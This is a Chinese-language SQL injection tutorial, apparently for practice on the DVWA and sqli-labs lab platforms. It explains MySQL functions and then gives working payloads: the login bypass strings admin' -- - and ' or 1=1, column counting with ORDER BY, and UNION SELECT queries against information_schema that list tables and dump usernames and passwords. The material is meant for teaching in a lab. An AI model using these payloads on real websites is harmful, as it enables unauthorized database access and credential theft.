SQL注入篇——对information_schema数据库的解析
sql注入中的常用函数- @@datadir 函数
作用:返回数据库的存储目录
- @@version_compile_os 函数
作用:查看服务器的操作系统
- concat(str1,str2) 函数
作用:连接两个字符串并传入数据库
- concat_ws(separator,str1,str2) 函数
作用:用分隔符连接两个字段的字符串
- group_concat(str1,str2) 函数
作用:将多行查询结果以逗号分隔全部输出
- group_concat(concat_ws(seperator,str1,str2)) 函数
作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔
- mid()函数
SELECT MID(ColumnName, Start [, Length])
从指定字段中提取出字段的内容
column_name:字段名
start:开始位置
length:长度
- limit()函数
SELECT * FROM TABLE LIMIT M,N
返回结果中的前几条数据或者中间的数据
m是指从m位开始(第一位为0)
n是指取n条
- Substr()函数
substr(a,b,c)
截取字符串
a 所要截取字符串
b 截取的位置
c 截取的长度
系统信息函数
- database()
返回当前数据库名
- connection_id()
返回当前客户的连接id
- found_rows()
返回最后一个select查询进行检索的总行数
- user()或system_user()
返回当前登陆用户名
- version()
返回mysql服务器的版本
使用DVWA-master***测试平台进行sql注入
登录界面万能密码注入
1.先将DVWA的安全等级设为low
2.输入万能密码admin' -- - (注意中间的空格)
3.密码随便,点击提交登录成功
注意问题:此处的万能密码需填写用户名
在不知道有哪些用户的情况下可以用' or 1=1 limit 1 -- -
查询界面的sql注入
一.判断是否存在注入
1' and 1=1 -- -
1' and 1=2 -- -
二.判断有多少列
1' order by 2 -- -
2能正常显示,3就会报错,说明只有两个显示位
三.判断数据显示点
1' union select 1,2 -- -
四.查看数据库基本信息
1' union select version(),database() -- -
五. 查看数据库有哪些表
1' union select 1,(select group_concat(concat(table_name)) from information_schema.tables where table_schema = 'security' ) -- -
六.查看对应表有哪些列
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ) -- -
七.查看账号密码信息
1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users) -- -使用sqli-labs游戏系统进行sql注入
1.首先确定用哪些字符可以进行sql注入
一.选择Less-1进入第一关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=1 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ' 字符注入
二.进入第二关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-2/index.php?id=1 and 1=1 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以进行整数型注入
三.进入第三关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-3/index.php?id=1') and 1=2 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ') 字符注入
四.进入第四关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-4/index.php?id=1") and 1=1 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ") 字符注入
2.确定注入字符后,判断有多少列,标红部分为判断语句,超出列数会报错
http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 -- -
3.判断数据显示点 (id一定要改为0或负数)
http://localhost/sqli-labs-master/Less-1/index.php?id=0' union select 1,2,3 -- -
4.然后便可在注入字符后加入sql注入语句
union select 1,user(),database()-- -显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 查看账号密码信息